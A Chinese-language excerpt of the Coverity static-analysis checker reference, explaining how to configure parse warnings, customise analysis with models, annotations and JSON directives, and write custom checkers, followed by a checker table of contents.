在启用分析警告时，将报告以 `RW` 或 `SW` 开头的各个分析警告（除非被显式禁用）；在启用分析警告时，将仅在分析警告显式启用时报告以 `PW` 开头的分析警告。要禁用所有分析警告，您可以添加 `disable_all` 指令。要禁用文件中列出的个别警告，您可以将其注释掉。

C/C++：分析警告默认禁用；它们通过以下方式启用：

- `--all`
- `--enable-parse-warnings`
- `--aggressiveness-level`

Swift：分析警告默认启用；它们通过以下方式禁用：

- `--disable-default`
- `--disable-parse-warnings`

要更改启用的 C/C++/Swift 分析警告，请执行以下步骤：

1. 复制 `parse_warnings.conf.sample` 文件，并使用新名称保存它。
2. 编辑此配置文件副本。
 - 移除您想要使用的默认指令前面的注释字符。
 - 为您想要启用或禁用的检查器添加指令。
3. 使用 `--enable-parse-warnings` 和 `--parse-warnings-config <config_file>` 选项运行 `cov-analyze` 命令。

其中 `<config_file>` 是指您自己的配置文件的名称，包括完整路径或相对路径。例如，要使用名称为 `my_parse_warnings.conf` 的配置文件启用分析警告检查器，请使用以下命令：

```
cov-analyze --enable-parse-warnings --parse-warnings-config my_parse_warnings.conf
```

1.3. 自定义分析

Coverity 工具旨在为各种用例提供成功的开箱即用体验。以下功能和过程可为成功体验提供帮助：

- 我们提供了大量的内置检查器，可以测试各种问题。
- 我们支持许多广泛使用的框架，这些框架的组件可以包括语言支持、库、构建技术等。
- 我们将检查器检测和发生误报的比率降到最低。
- 我们不断评估和微调 Coverity Analysis 的默认行为，并针对真实代码进行测试。

某些软件项目确实需要进行额外的调整或自定义，才能满足客户的需求。自定义 Coverity Analysis 行为的原因包括非典型应用程序或部署环境以及特定于项目的问题。

我们提供了大量的自定义 Coverity 的方法。有调整分析结果的简单的全局方法；有微调分析结果的更具体的方法；对于高级用户，有扩展分析本身功能的方法。

以下各部分将更详细地描述这些选项，展示一些用法示例，并指明您可以在其中了解更多信息的资源。在每部分中，从较简单到更高级按顺序列出替代技术——当然，易用性可能取决于多种因素，包括用户的先前经验。

1.3.1. 全局选项

使用全局自定义选项，可以指定要分析的代码库子集、分析期间要使用的特定选项，等等。还可以选择信任或不信任不同类型的数据源。

当项目的一部分由第三方测试应用程序已经分析的源代码组成时，可以使用 cov-import-results 命令将此代码及其分析结果集成到 Coverity 中。

1.3.1.1. 全局分析选项

cov-analyze 命令行可让您粗粒度地全局控制要分析的代码、运行的检查器和分析行为。

用例：. 将分析限制到特定语言和一组检查器选项。

例如，用户希望通过重新运行分析来节省时间，但这次只测试他们的 JavaScript UI 子组件。这一次，用户还希望使用一组不同的检查器选项。用户可以通过 cov-analyze 命令的 --tu-pattern 选项传递以下编译单元模式实现这两个愿望：

```
--tu-pattern="lang('JavaScript') && file('/ui/')"
```

用例：. 调用 STACK_USE 检查器，该检查器默认禁用。

例如，用户正在测试打算在具有严重资源限制的嵌入式系统上运行的代码。指定选项 --enable STACK_USE 将打开此检查器，它现在将报告堆栈的大规模使用情况。

用例：. 在 C/C++ 源代码中，启用通过函数指针进行调用跟踪，以进行全局分析。（默认情况下，禁用通过函数指针进行调用跟踪。）

例如，要分析的源代码包括一个大量使用 C++ 函数指针的设备驱动程序。启用 cov-analyze 选项 --enable-fnptr 会增加全局测试的彻底性，但会花费一些执行时间。

了解更多：. 请参阅《Coverity 命令说明书》的“cov-analyze”部分，以及此命令选项的描述。

1.3.1.2. 全局信任模型

应用程序范围的信任模型可以将各种类型的数据源分为受信任、不受信任和潜在恶意。您可以指定的数据源类型包括 HTTP 请求、文件系统、远程过程调用、数据库、HTTP 标头等。

用例：. 将公共可访问磁盘指定为不受信任的数据源。

分析应用程序从不受信任的用户也共享的网络磁盘中读取任意数据。使用 cov-analyze 选项 `--distrust-filesystem` 指定该网络磁盘不受信任。

限制和替代方案：全局信任选项可打开或关闭整个类别的数据源。有多种方法可以细化分类的粒度，如以下列表所示：

- 许多内置数据流检查器具有特定于检查器的信任模型（大多数模型的名称以 "TAINT_" 或 "TAINTED_" 开头；另请参阅 SQLI 和 XSS 检查器）。它们从全局信任模型继承，但在个别情况下允许覆盖后者。这些覆盖项被公开为检查器选项。有关详细信息，请参阅各个检查器说明。
- 要在没有特定于检查器的替代方法时更改单个数据源的信任设置，请改用 API 模型或安全分析指令。请参阅取决于检查器、语言或其他条件的选项。

了解更多：在《Coverity 命令说明书》的“cov-analyze”部分，描述了一整套补充选项，其名称以 `--distrust-` 或 `--trust-` 开头，后跟全局不信任或信任的数据源类别的名称。

1.3.1.3. 从外部分析导入结果

当项目的一部分由第三方测试应用程序已经分析的源代码组成时，可以使用 code-import-results 命令将此代码及其分析结果集成到 Coverity 中。

导入第三方分析节省了第二次分析独立来源的时间和精力，并且通过将第三方结果与 Coverity 检查器的结果合并，您可以按统一的方式对第三方和本地 Coverity 结果进行分类。

数据导入格式为 JSON。

了解更多：《Coverity 命令说明书》的“cov-import-results”部分描述了此命令。《Coverity Analysis 用户和管理员指南》中的“第 6 部分：使用第三方集成工具包”描述了如何使用支持 cov-import-results 的工具。

1.3.2. 取决于检查器、语言或其他上下文的选项

针对特定检查器，特定语言或其他条件的自定义选项为自定义分析结果提供了一种更细粒度的方法。

1.3.2.1. 检查器选项

许多检查器选项可让您调整检查器的行为。使用这些选项的最常见原因是减少误报或漏报的数量。

用例：设置 CSRF 检查器的 `filter` 选项，以检测 Java servlet 和 ASP.NET MVC 筛选器。

例如，在 Java 源代码分析中，CSRF 检查器一直返回误报，原因是它无法检测验证跨站点请求令牌的筛选器。通过显式命名执行此操作的筛选器，`filter` 选项可以消除此类误报。

用例：启用 BAD_FREE 检查器的 `allow_first_field` 选项，这样检查器不会报告 C/C++ 结构的第一个字段是否已释放。

释放 C/C++ 结构的第一个字段是无害的，并且通常是无意的。启用 `allow_first_field` 会抑制对这种情况的报告，这样会更容易找到释放整个 `struct` 对象的报告，这是有害的，并可能导致内存损坏和程序失败。

了解更多：。本《Coverity 检查器说明书》的第 4 章描述了每个内置检查器以及该检查器可以使用的选项。有关被污染的数据选项的更多信息，请参阅“Section 6.8, “被污染的数据概述””。

1.3.2.2. 自定义 API 模型

当 Coverity 针对源代码中的每个函数扫描代码以查找静态类型的编译语言（例如 C、C++、C#、Go、Java 或 Visual Basic）时，它将生成一个模型。该模型是函数在执行时行为的抽象表示，Coverity 生成的模型用于全局分析。

您可以编写自己的函数模型，以覆盖 Coverity 生成的模型并更好地描述函数的行为。自定义模型对于查找更多程序缺陷和减少误报很有用。

模型是用目标语言编写的。它可以调用建模原语，建模原语是函数存根，用于告诉 Coverity Analysis 如何分析（或避免分析）正在建模的函数的行为。

尽管模型是用目标语言编写的，但是它存在于项目代码之外，并且不执行。相反，您可以使用命令 cov-make-library 和选项 --output-file <modelfile> 来准备模型。这将产生一个名为 <modelfile>.xmlldb 的 XML 文件。然后，在调用 cov-analyze 时，请指定 --model-file <modelfile>.xmlldb，因此分析将使用自定义模型。

用例：。对于 SQLI 检查器，编写一个自定义模型来捕获从不可信来源构造的 SQL 字符串。

例如，自定义数据库 API 方法 MyDb.execute(String sql) 绝不应传递由不受信任的子字符串构造的 SQL 字符串，因为这可能启用 SQL 注入攻击。以下自定义模型会将此类调用报告给 SQLI 检查器：

```
import static com.coverity.primitives.SecurityPrimitives.*;

public final class MyDb
{
    public void execute(String x)
    {
        sql_sink(x);                      // Report SQLI if 'x' is untrusted
    }
}
```

限制和替代方案：。编写自定义模型的机会取决于所涉及的特定检查器以及源代码使用哪种语言编写。因此，与简单地启用或禁用检查器选项相比，使用自定义模型涉及更多的研究和计划。

- API 建模仅适用于静态类型语言，例如 C++、Java、C# 等。在静态类型语言中，方法的完全限定签名足以精确地标识在代码范围内正在对哪种方法进行建模。
- 对于动态类型语言，方法定义缺少类型名称（通常它完全缺少参数信息），因此精度较低。为了对动态类型的函数建模，Coverity 改为依靠安全分析指令来定义一个命名系统，该系统可以跟踪在其上进行调用的对象的来源。
- 每个 API 模型都描述单个方法（及其替代方法）。例如，要通过使用正则表达式匹配或存在代码内注解来描述方法的集合或模式，需要使用安全指令。

有关使用指令的更多信息，请参阅安全性分析指令。

了解更多： 在本《Coverity 检查器说明书》中，第 4 章的检查器描述告诉检查器是否可以使用模型。如果可以，检查器描述将列出可用于此类模型的建模原语。而且本《Coverity 检查器说明书》的第 5 章提供了有关如何在模型应用的静态类型语言中使用模型的总体描述。

1.3.2.3. 代码内注解

调整分析行为的另一种方法是向所分析的源代码添加分析注解。这些注解和模型一样，为 Coverity Analysis 提供了有关函数行为的提示。对于 C/C++，注解可以抑制所分析的源代码中有目的的代码模式的报告。



Note

标准的 Coverity 工作流从不需要任何特定于工具的代码修改。代码内分析注解的使用完全是可选的。

用例： 覆盖默认的 TAINT_ASSERT 检查器的污染值报告，但仅适用于特定的类成员。

例如，用户具有某些已知是受信任或不受信任的类成员。在下面的 Java 代码示例中，条目 `@NotTainted` 和 `@Tainted` 是分析注解，它们告诉 TAINT_ASSERT 始终将 `name` 值视为可信任，将 `selfDescription` 值视为被污染：

```
import com.coverity.annotations.*;

class UserData {
    @NotTainted String name;
    @Tainted     StringBuffer selfDescription;
}
```

限制和替代方案：

- 解析注解仅适用于 C/C++、C#、Java 和 Visual Basic。
- 可以通过代码内注解描述的属性是有限的，并且仅适用于某些语法。

建议： 如果分析注解与您的项目源代码不兼容，或者您要调整的情况超出其范围，请查看有关安全分析指令的文档（在下一部分中介绍），以了解它们是否提供您想要的功能。

了解更多： 分析注解在本《Coverity 检查器说明书》第 5 章：模型、注解和原语的相应特定于语言的部分中进行了描述。

1.3.2.4. 安全分析指令 (JSON)

安全分析指令是一种表达式配置格式，用于提供提示和描述无法通过使用模型或注解轻松捕获的模式。它们还形成了用于动态类型语言 API 描述的骨干，这需要基于数据流的方法来标识关注的对象类型。

您可以通过将分析指令保存在使用 JSON 格式的文件中来指定这些分析指令。然后，在调用 cov-analyze 时，使用 `--directive-file` 选项来标识文件名。

用例： 在 Java 项目中，指定在指定 `@Controller` 注解的类中，所有名称带有前缀 `get` 的方法都应被视为接收不可信数据。

概述

例如，该项目支持自定义内部 Java Web 服务框架。安全团队希望指明，所有名称带有前缀 `get` 的方法都将从 Web 接收不受信任的数据。使用 `@Controller` 分析注解在源代码中标记这些类是解决方案的一部分，但是指令可以提供更细粒度的控制，如以下示例代码所示：

```
// In the "directives" object, include ...
{
    "simple_entry_point" : {
        "and" : [
            { "implemented_in_class" : {
                "with_annotation" : { "named" : "annot.Controller" }
            }},
            { "matching" : ".*\\\\.get.*" }
        ]
    },
    "taint_kinds" : [ "http" ]
}
```

用例：此 JavaScript 示例指定对全局变量 `myLibrary.queryParam`（其值类似于 JavaScript 中的 `window.location.query`）的任何读取都是不可信的：

```
// In the "directives" object, include ...
{
    "tainted_data" : {
        "read_path_off_global" : [
            { "property" : "myLibrary" },
            { "property" : "queryParam" }
        ]
    },
    "taint_kind" : "js_client_url_query_or_fragment"
}
```

限制和替代方案：

- 对于静态类型语言，API 模型提供了一种替代方法来指定数据源和数据消费者。
- 某些函数属性会影响质量和并发检查器；例如，解引用的参数、抛出的异常等。安全分析指令无法检测到此类情况：要进行检查，需要使用 API 模型。

了解更多：

《安全指令说明书》提供了安全分析指令的完整描述。

在《Coverity 命令说明书》中，请参阅“cov-analyze”部分对 `--directive-file` 选项以及如何使用它的描述。

在本《Coverity 命令说明书》中，第 6 章：“Coverity Web 应用程序安全”讨论了 Web 应用程序特有的问题，以及如何防范漏洞利用。

1.3.3. 创建新检查器

您可能希望通过添加自己的专用检查器来定制分析，而不是微调或修改现有检查器的行为。Coverity 为此提供了两种推荐的方法。它们是：

- 自定义数据流和文本检查器“框架”：DF.CUSTOM_CHECKER 和 TEXT.CUSTOM_CHECKER
- 特定于域的语言 CodeXM

1.3.3.1. 创建检查器的历史遗留方法

Coverity 的早期版本具有创建自定义检查器的其他方法。为提供向后兼容性，这些方法仍然受支持，但是除非您的组织已经投资了较旧的技术，否则我们不建议使用它们进行新的开发。下面是历史遗留技术：

- SECURE_CODING 检查器（不是真正可自定义）已由 DC.CUSTOM_CHECKER 框架取代，该框架又由 CodeXM 取代：请参阅《学习编写 CodeXM 检查器》中的“编写您自己的不调用检查器”。
- Extend SDK

1.3.3.2. 自定义数据流和文本检查器（JSON 指令）

Coverity 提供了两个“框架”DF.CUSTOM_CHECKER 和 TEXT.CUSTOM_CHECKER，可让您创建自己的数据流和文本检查器。有时，新检查器仅需要几行 JSON。

DF.CUSTOM_CHECKER

数据流检查器可报告来自被污染源的不可信字符串、数据流和字节数组在整个程序中传递并用于不安全数据消费者的情况。很多安全漏洞都符合这一常见模式：它们包括注入问题、数据泄露、不安全对象引用等。自定义检查器可以指定信任模型，以增强 Coverity Analysis 对数据源的广泛内置建模。

TEXT.CUSTOM_CHECKER

文本检查器可以匹配指明存在非法数据、错误配置或其他需要关注的问题的模式。要匹配的模式可以是正则表达式或 XPath 查询。

与安全分析指令一样，您可以指定 JSON 自定义检查器的指令，方法是将它们保存在自己的文件中，然后在调用 cov-analyze 时使用 --directive-file 选项来标识该文件。

用例：. 安全团队希望确定是否曾经将 HTTP 请求数据传递给任何名称以后缀 Db 结尾的 C# 函数。

以下 JSON 记录指定一个定位这种情况的检查器。其名称为 DF.GOES_TO_DATABASE。

```
{  
    "type" : "Coverity analysis configuration",  
    "format_version" : 12,  
    "language" : "C#",  
    "directives" : [  
        {  
            "dataflow_checker_name" : "DF.GOES_TO_DATABASE",  
            "taint_kinds" : [ "http", "http_header" ]  
        },  
        {  
            "sink_for_checker" : "DF.GOES_TO_DATABASE",  
            "sink" : {  
                "type" : "sink",  
                "name" : "DbSink",  
                "parameters" : {  
                    "sink_type" : "Db"  
                }  
            }  
        }  
    ]  
}
```

概述

```
        "to_callsite" : {
            "callsite_with_static_target" : {
                "matching" : ".*Db\\\"(System.String\\\")void"
            },
            "input" : "arg1"
        }
    }
}
```

用例： 安全团队希望了解配置属性文件是否曾指示版本 2.x。以下自定义文本检查器 TEXT.UNSAFE_VERSION 完成了此任务：

```
// In the "directives" object, include ...
{
  "text_checker_name" : "TEXT.UNSAFE_VERSION",
  "file_pattern"       : { "regex" : "config(-.+)\\".json$",
                           "case_sensitive" : false },
  "defect_pattern"     : { "regex" : "version.*::.*2\\..*+" }
}
```

限制和替代方案：目前，文本检查器无法匹配源代码中作为抽象语法树 (AST) 发出的正则表达式。

了解更多： 在本《Coverity 检查器说明书》中，请参阅 DF.CUSTOM_CHECKER 和 TEXT.CUSTOM_CHECKER，以了解有关这两个自定义检查器框架的信息。《安全指令说明书》包含自定义检查器定义可以使用的 JSON 字段的描述。

1.3.3.3. CodeXM 检查器

CodeXM 是 Code eXaMination 的缩写。它是一种解译语言，用于编写使用 Coverity 引擎运行的自定义检查器。使用它可以定义要在源代码中查找的有问题模式。它公开分析生成的基础抽象语法树 (AST)，并允许直接对其进行扫描以查找匹配项。CodeXM 还可以根据程序状态检测某些条件；例如，执行路径。

用例：. 开发团队希望实施一种编码策略，即 C++ 代码不应使用 `goto` 语句。他们构建以下 CodeXM 检查器来报告代码中的 `goto` 相同项。

```
include `C/C++`;

checker {
    name = "NO_GOTO";
    reports =
        for c in globalset allFunctionCode
            where c matches gotoStatement :
                {
                    events = [ {
                        // ... Messages to describe what you found
                    } ];
                };
};
```

概述

限制和替代方案：. CodeXM 规则主要用于匹配源代码中的语法模式。

- CodeXM 像 Lisp 一样，是一种函数式编程语言，而不是像 C++ 或 Java 那样的过程语言。如果您习惯于使用过程语言编写代码（现在大多数程序都是这样编写的），那么习惯函数式模型可能需要一些时间。
- CodeXM 并不总是足以对程序行为进行深入的推理；例如，跟踪运行时调用解析或全面跟踪运行时值。这些都是程序分析的难题！

在这些情况下，通过使用 API 建模、自定义数据流检查器或安全指令与分析引擎交互可能更合适。

了解更多：.

学习编写 CodeXM 检查器介绍了 CodeXM 环境，并演示了使用该语言的多种方法。它还包括风格指南。

Coverity CodeXM 语法参考描述了语言本身。

几个相关的引用描述了随 CodeXM 一起提供的库。在大多数情况下，每个库都支持对特定目标源语言的分析（某些函数是所有库都通用的）。

1.3.3.4. Extend SDK

Coverity Extend SDK 是一个框架，用于以 C++ 语言编写支持对 C/C++、Java 和 C# 应用程序执行分析的检查器。很多此类框架都与构建在 Coverity Analysis 中的检查器使用的框架相同。

限制和替代方案：.

- Extend SDK 很难学习和使用。如果您尚未投资于 Extend SDK 开发，我们强烈建议您使用 CodeXM 而非 Extend。
- Extend 检查器由 C++ 工具链编译为单独的二进制文件。它们不作为 cov-analyze 的一部分运行。它们不能相互并行运行，也不能与内置分析并行运行。

了解更多：. 开发套件在《Coverity Extend SDK 检查器开发指南》中进行了描述。

Chapter 2. 软件问题和影响 (按检查器)

本章的 HTML 版本 (位于 `cov_checker_ref.html` 中) 列出了与检查器发现的问题关联的属性，包括问题的类别、作用、影响、关联的 CWE 以及与问题关联的检查器。

如果您使用上述链接时遇到问题，请尝试使用其他查看器，例如 Adobe Acrobat Reader。

Chapter 3. 检查器启用和选项默认值（按语言）

本章的 HTML 版本（位于 `cov_checker_ref.html` 中）包括检查器选项默认值和启用每个检查器的 `cov-analyze` 命令行选项。

如果您使用上述链接时遇到问题，请尝试使用其他查看器，例如 Adobe Acrobat Reader。

Chapter 4. Coverity Analysis 检查器 (Checkers)

Table of Contents

4.1. ALLOC_FREE_MISMATCH	24
4.2. ANDROID_CAPABILITY_LEAK	26
4.3. ANDROID_DEBUG_MODE	27
4.4. ANDROID_WEBVIEW_FILEACCESS	28
4.5. ANGULAR_BYPASS_SECURITY	29
4.6. ANGULAR_ELEMENT_REFERENCE	30
4.7. ANGULAR_EXPRESSION_INJECTION	31
4.8. ANGULAR_SCE_DISABLED	34
4.9. ANONYMOUS_DB_CONNECTION	34
4.10. ARRAY_VS_SINGLETON	36
4.11. ASPNET_MVC_VERSION_HEADER	38
4.12. ASSERT_SIDE_EFFECT	40
4.13. ASSIGN_NOT_RETURNING_STAR_THIS	42
4.14. ATOMICITY	44
4.15. ATTRIBUTE_NAME_CONFLICT	47
4.16. AUDIT_SPECULATIVE_EXECUTION_DATA_LEAK	48
4.17. AWS_SSL_DISABLED	49
4.18. AWS_VALIDATION_DISABLED	50
4.19. BAD_ALLOC_ARITHMETIC	50
4.20. BAD_ALLOC_STRLEN	51
4.21. BAD_CERT_VERIFICATION	52
4.22. BAD_CHECK_OF_WAIT_COND	59
4.23. BAD_COMPARE	60
4.24. BAD_EQ	62
4.25. BAD_EQ_TYPES	64
4.26. BAD_FREE	65
4.27. BAD_LOCK_OBJECT	66
4.28. BAD_OVERRIDE	71
4.29. BAD_SHIFT	72
4.30. BAD_SIZEOF	74
4.31. BUFFER_SIZE	76
4.32. BUFFER_SIZE_WARNING	77
4.33. BUSBOY_MISCONFIGURATION	78
4.34. CALL_SUPER	79
4.35. CHAR_IO	83
4.36. CHECKED_RETURN	84
4.37. CHROOT	89
4.38. COM.ADDROF_LEAK	90
4.39. COM.BAD_FREE	91
4.40. COM.BSTR.ALLOC	92
4.41. COM.BSTR.BAD_COMPARE	94
4.42. COM.BSTR.CONV	95

4.43. COM.BSTR.NE_NON_BSTR	97
4.44. CONFIG.ANDROID_BACKUPS_ALLOWED	98
4.45. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	99
4.46. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	100
4.47. CONFIG.ANDROID_UNSAFE_MINSDKVERSION	102
4.48. CONFIG.ASP_VIEWSTATE_MAC	103
4.49. CONFIG.ASPNET_VERSION_HEADER	104
4.50. CONFIG.ATS_INSECURE	105
4.51. CONFIG.BEEGO_CSRF_PROTECTION_DISABLED	106
4.52. CONFIG.CONNECTION_STRING_PASSWORD	107
4.53. CONFIG.COOKIE_SIGNING_DISABLED	108
4.54. CONFIG.COOKIES_MISSING_HTTPONLY	108
4.55. CONFIG.CORDOVA_EXCESSIVE_LOGGING	109
4.56. CONFIG.CORDOVA_PERMISSIVE_WHITELIST	111
4.57. CONFIG.CSURF_IGNORE_METHODS	113
4.58. CONFIG.DEAD_AUTHORIZATION_RULE	114
4.59. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	115
4.60. CONFIG.DUPLICATE_SERVLET_DEFINITION	115
4.61. CONFIG.DWR_DEBUG_MODE	117
4.62. CONFIG.DYNAMIC_DATA_HTML_COMMENT	118
4.63. CONFIG.ENABLED_DEBUG_MODE	119
4.64. CONFIG.ENABLED_TRACE_MODE	120
4.65. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED	121
4.66. CONFIG.HARDCODED_CREDENTIALS_AUDIT	122
4.67. CONFIG.HARDCODED_TOKEN	123
4.68. CONFIG.HTTP_VERB_TAMPERING	124
4.69. CONFIG.JAVAEE_MISSING_HTTPONLY	125
4.70. CONFIG.JAVAEE_MISSING_SERVLET_MAPPING	126
4.71. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN	127
4.72. CONFIG.MISSING_CUSTOM_ERROR_PAGE	128
4.73. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	129
4.74. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT	130
4.75. CONFIG.MYBATIS_MAPPER_SQLI	131
4.76. CONFIG.MYSQL_SSL_VERIFY_DISABLED	132
4.77. CONFIG.REQUEST_STRICTSSL_DISABLED	133
4.78. CONFIG.SEQUELIZE_ENABLED_LOGGING	134
4.79. CONFIG.SEQUELIZE_INSECURE_CONNECTION	135
4.80. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE	136
4.81. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	137
4.82. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	137
4.83. CONFIG.SPRING_BOOT_SSL_DISABLED	138
4.84. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	139
4.85. CONFIG.SPRING_SECURITY_DEBUG_MODE	140
4.86. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	141
4.87. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS	142
4.88. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	143
4.89. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS	144
4.90. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	146

4.91. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY	146
4.92. CONFIG.SPRING_SECURITY_SESSION_FIXATION	148
4.93. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	149
4.94. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	150
4.95. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN	151
4.96. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION	152
4.97. CONFIG.STRUTS2_ENABLED_DEV_MODE	153
4.98. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED	154
4.99. CONFIG.UNSAFE_SESSION_TIMEOUT	155
4.100. CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS	158
4.101. CONFIG.WEAK_SECURITY_CONSTRAINT	160
4.102. CONSTANT_EXPRESSION_RESULT	160
4.103. COOKIE_INJECTION	169
4.104. COOKIE_SERIALIZER_CONFIG	173
4.105. COPY_PASTE_ERROR	174
4.106. COPY_WITHOUT_ASSIGN	177
4.107. CORS_MISCONFIGURATION	178
4.108. CORS_MISCONFIGURATION_AUDIT	182
4.109. CSRF	185
4.110. CSRF_MISCONFIGURATION_HAPI_CRUMB	196
4.111. CSS_INJECTION	197
4.112. CTOR_DTOR_LEAK	200
4.113. CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	200
4.114. CUDA.CUDEVICE_HANDLES	201
4.115. CUDA.DEVICE_DEPENDENT	202
4.116. CUDA.DEVICE_DEPENDENT_CALLBACKS	203
4.117. CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	204
4.118. CUDA.ERROR_INTERFACE	206
4.119. CUDA.ERROR_KERNEL_LAUNCH	207
4.120. CUDA.FORK	208
4.121. CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	209
4.122. CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	212
4.123. CUDA.INVALID_MEMORY_ACCESS	213
4.124. CUDA.SHARE_FUNCTION	214
4.125. CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	215
4.126. CUDA.SPECIFIERS_INCONSISTENCY	217
4.127. CUDA.SYNCHRONIZE_TERMINATION	218
4.128. CUSTOM_KEYBOARD_DATA_LEAK	219
4.129. DC.CUSTOM_CHECKER	220
4.130. DC.DANGEROUS	222
4.131. DC.DEADLOCK	223
4.132. DC.PREDICTABLE_KEY_PASSWORD	223
4.133. DC.STREAM_BUFFER	224
4.134. DC.STRING_BUFFER	224
4.135. DC.WEAK_CRYPTO	224
4.136. DEADCODE	225
4.137. DEADLOCK (Java Runtime)	232
4.138. DELETE_ARRAY	235

4.139. DELETE_VOID	236
4.140. DENY_LIST_FOR_AUTHN	237
4.141. DETEKT.*	238
4.142. DF.CUSTOM_CHECKER	239
4.143. DISABLED_ENCRYPTION	245
4.144. DISTRUSTED_DATA_DESERIALIZATION	246
4.145. DIVIDE_BY_ZERO	248
4.146. DNS_PREFETCHING	251
4.147. DOM_XSS	251
4.148. DYNAMIC_OBJECT_ATTRIBUTES	254
4.149. DYNAMIC_TYPE_INCTOR_DTOR	255
4.150. EL_INJECTION	256
4.151. ENUM_AS_BOOLEAN	258
4.152. EVALUATION_ORDER	258
4.153. EXPLICIT_THIS_EXPECTED	260
4.154. EXPOSED_DIRECTORY_LISTING	262
4.155. EXPOSED_PREFERENCES	264
4.156. EXPRESS_SESSION_UNSAFE_MEMORYSTORE	265
4.157. EXPRESS_WINSTON_SENSITIVE_LOGGING	266
4.158. EXPRESS_X_POWERED_BY_ENABLED	267
4.159. FILE_UPLOAD_MISCONFIGURATION	268
4.160. FB.*(SpotBugs)	269
4.161. FLOATING_POINT_EQUALITY	270
4.162. FORMAT_STRING_INJECTION	271
4.163. FORWARD_NULL	274
4.164. GUARDED_BY_VIOLATION	283
4.165. HAPI_SESSION_MONGO_MISSING_TLS	288
4.166. HARDCODED_CREDENTIALS	289
4.167. HEADER_INJECTION	296
4.168. HFA	304
4.169. HIBERNATE_BAD_HASHCODE	305
4.170. HOST_HEADER_VALIDATION_DISABLED	307
4.171. HPKP_MISCONFIGURATION	307
4.172. IDENTICAL_BRANCHES	308
4.173. IDENTIFIER_TYPO	312
4.174. IMPLICIT_INTENT	314
4.175. INCOMPATIBLE_CAST	315
4.176. INFINITE_LOOP	316
4.177. INSECURE_ACL	321
4.178. INSECURE_COMMUNICATION	321
4.179. INSECURE_COOKIE	326
4.180. INSECURE_DIRECT_OBJECT_REFERENCE	330
4.181. INSECURE_HTTP_FIREWALL	331
4.182. INSECURE_MULTipeer_CONNECTION	332
4.183. INSECURE_NETWORK_BIND	333
4.184. INSECURE_RANDOM	335
4.185. INSECURE_REFERRER_POLICY	338
4.186. INSECURE_REMEMBER_ME_COOKIE	340

4.187. INSECURE_SALT	341
4.188. INSUFFICIENT_LOGGING	342
4.189. INSUFFICIENT_PRESIGNED_URL_TIMEOUT	344
4.190. INTEGER_OVERFLOW	345
4.191. INVALIDATE_ITERATOR	348
4.192. JAVA_CODE_INJECTION	353
4.193. JCR_INJECTION	355
4.194. JINJA2_AUTOESCAPE_DISABLED	356
4.195. JSHINT.* (JSHint) Analysis	357
4.196. JSONWEBTOKEN_IGNORED_EXPIRATION_TIME	358
4.197. JSONWEBTOKEN_UNTRUSTED_DECODE	361
4.198. JSP_DYNAMIC_INCLUDE	363
4.199. JSP_SQL_INJECTION	365
4.200. LDAP_INJECTION	366
4.201. LDAP_NOT_CONSTANT	369
4.202. LOCALSTORAGE_MANIPULATION	370
4.203. LOCALSTORAGE_WRITE	373
4.204. LOCK	374
4.205. LOCK_EVASION	378
4.206. LOCK_INVERSION	386
4.207. LOG_INJECTION	389
4.208. MISMATCHED_ITERATOR	391
4.209. MISRA_CAST	392
4.210. MISSING_ASSIGN	396
4.211. MISSING_AUTHZ	396
4.212. MISSING_BREAK	405
4.213. MISSING_COMMA	410
4.214. MISSING_COPY	411
4.215. MISSING_COPY_OR_ASSIGN	411
4.216. MISSING_HEADER_VALIDATION	413
4.217. MISSING_IFRAME_SANDBOX	413
4.218. MISSING_LOCK	415
4.219. MISSING_MOVE_ASSIGNMENT	417
4.220. MISSING_PASSWORD_VALIDATOR	419
4.221. MISSING_PERMISSION_FOR_BROADCAST	419
4.222. MISSING_PERMISSION_ON_EXPORTED_COMPONENT	423
4.223. MISSING_RESTORE	425
4.224. MISSING_RETURN	429
4.225. MISSING_THROW	430
4.226. MIXED_ENUMS	431
4.227. MOBILE_ID_MISUSE	434
4.228. MULTER_MISCONFIGURATION	436
4.229. NEGATIVE RETURNS	438
4.230. NESTING_INDENT_MISMATCH	439
4.231. NO_EFFECT	444
4.232. NON_STATIC_GUARDING_STATIC	449
4.233. NOSQL_QUERY_INJECTION	452
4.234. NULL RETURNS	456

4.235. OAUTH2_MISCONFIGURATION	466
4.236. ODR_VIOLATION	467
4.237. OGNL_INJECTION	467
4.238. OPEN_ARGS	469
4.239. OPEN_REDIRECT	470
4.240. OPENAPI.*	475
4.241. ORDER_REVERSAL	476
4.242. ORM_ABANDONED_TRANSIENT	477
4.243. ORM_LOST_UPDATE	477
4.244. ORM_LOAD_NULL_CHECK	480
4.245. ORM_UNNECESSARY_GET	481
4.246. OS_CMD_INJECTION	482
4.247. OVERFLOW_BEFORE_WIDEN	491
4.248. OVERLAPPING_COPY	495
4.249. OVERRUN	497
4.250. PARSE_ERROR	502
4.251. PW.*、RW.*、SW.* : 编译警告	503
4.252. PASS_BY_VALUE	507
4.253. PATH_MANIPULATION	509
